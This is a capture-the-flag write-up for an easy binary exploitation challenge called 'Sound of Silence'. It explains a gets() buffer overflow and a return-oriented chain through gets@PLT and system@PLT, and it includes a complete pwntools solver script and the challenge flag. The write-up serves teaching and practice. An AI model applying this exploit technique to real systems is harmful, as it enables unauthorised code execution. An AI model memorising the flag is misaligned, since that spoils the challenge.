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Sound of Silence

​ 28th January 2024 / Document No. DYY.102.XX

​ Prepared By: w3th4nds

​ Challenge Author(s): w3th4nds

​ Difficulty: Easy

​ Classification: Official

Synopsis

Sound of Silence is an easy difficulty challenge that features Buffer Overflow, calling the gets function to take as argument system@PLT and then enter there the string bin0sh to spawn shell. ret2libc or other techniques are not available because there is no function to print to stdout.

Description

Navigate the shadows in a dimly lit room, silently evading detection as you strategize to outsmart your foes. Employ clever distractions to divert their attention, paving the way for your daring escape!

Skills Required

  • Basic ROP.

Skills Learned

  • Call gets with system as argument.

Enumeration

First of all, we start with a checksec:

pwndbg> checksec
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Protections 🛡️

As we can see:

Protection Enabled Usage
Canary ❌ Prevents Buffer Overflows
NX ✅ Disables code execution on stack
PIE ❌ Randomizes the base address of the binary
RelRO Full Makes some binary sections read-only

The program's interface

~The Sound of Silence is mesmerising~

>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
[1]    212434 segmentation fault (core dumped)  ./sound_of_silence

As we can see, the program is pretty straightforward. It asks for input and then it SegFaults after 40 bytes. This seems like a very easy challenge, but the tricky part is that there are no functions to print to stdout to leak any addresses and perform classic ROP techniques.

Disassembly

Starting with main():

void main(void)

{
  char local_28 [32];
  
  system("clear && echo -n \'~The Sound of Silence is mesmerising~\n\n>> \'");
  gets(local_28);
  return;
}

The program is really simple. There is an obvious Buffer Overflow with gets(local_28). The only other function we can use it system.

Exploitation Path

We will overwrite the return address with the address of gets@PLT and we will pass as argument the address of system@PLT. Then, whatever we enter, will be the argument of system. It's obvious that we will enter the string /bin/sh in there to spawn shell. The character / is converted so instead of this, we will use 0. On the other hand, we can skip shell and just call system("cat flag*");. The same issues occurs so we use cat glag* instead.

Solution

#!/usr/bin/python3.8
from pwn import *
import warnings
import os
warnings.filterwarnings('ignore')
context.arch = 'amd64'
context.log_level = 'critical'

fname = './sound_of_silence' 

LOCAL = False

os.system('clear')

if LOCAL:
  print('Running solver locally..\n')
  r    = process(fname)
else:
  IP   = str(sys.argv[1]) if len(sys.argv) >= 2 else '0.0.0.0'
  PORT = int(sys.argv[2]) if len(sys.argv) >= 3 else 1337
  r    = remote(IP, PORT)
  print(f'Running solver remotely at {IP} {PORT}\n')

e = ELF(fname)

payload = flat({0x28: p64(e.plt.gets) + p64(e.plt.system)})

r.sendlineafter('>> ', payload)

r.sendline('cat glag*')

print(f'Flag --> {r.recvline_contains(b"HTB").strip().decode()}\n')
Running solver remotely at 0.0.0.0 1337

Flag --> HTB{n0_n33d_4_l34k5_wh3n_u_h4v3_5y5t3m}